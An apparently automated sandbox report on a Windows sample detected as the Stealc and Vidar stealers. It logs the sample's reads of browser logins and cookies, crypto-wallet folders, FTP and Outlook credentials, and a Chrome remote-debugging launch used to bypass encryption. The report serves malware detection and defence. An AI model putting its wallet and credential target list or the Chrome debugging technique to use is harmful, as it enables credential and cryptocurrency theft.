Source: file.exe, 00000000.00000002.2102203891.0000000000F56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2102203891.0000000000F56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2102203891.0000000000F56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2102203891.0000000000F56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2102203891.0000000000F56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2102203891.0000000000F56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2102203891.0000000000F56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2102203891.0000000000F56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2101784449.0000000000A28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\.W

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2101784449.0000000000A28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6336, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.e70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1741284072.0000000004D50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2101784449.00000000009AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2102203891.0000000000E71000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6336, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6336, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C720C40 sqlite3_bind_zeroblob,	0_2_6C720C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C720D60 sqlite3_bind_parameter_name,	0_2_6C720D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C648EA0 sqlite3_clear_bindings,	0_2_6C648EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C720B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6C720B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C646410 bind,WSAGetLastError,	0_2_6C646410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C646070 PR_Listen,	0_2_6C646070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6C64C050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64C030 sqlite3_bind_parameter_count,	0_2_6C64C030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6460B0 listen,WSAGetLastError,	0_2_6C6460B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D22D0 sqlite3_bind_blob,	0_2_6C5D22D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6463C0 PR_Bind,	0_2_6C6463C0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	2 Process Injection	1 Masquerading	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Email Collection	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	24 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Remote Access Software	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Extra Window Memory Injection	1 Disable or Modify Tools	Security Account Manager	24 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	4 Data from Local System	12 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Process Injection	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	236 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Extra Window Memory Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\chrome.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
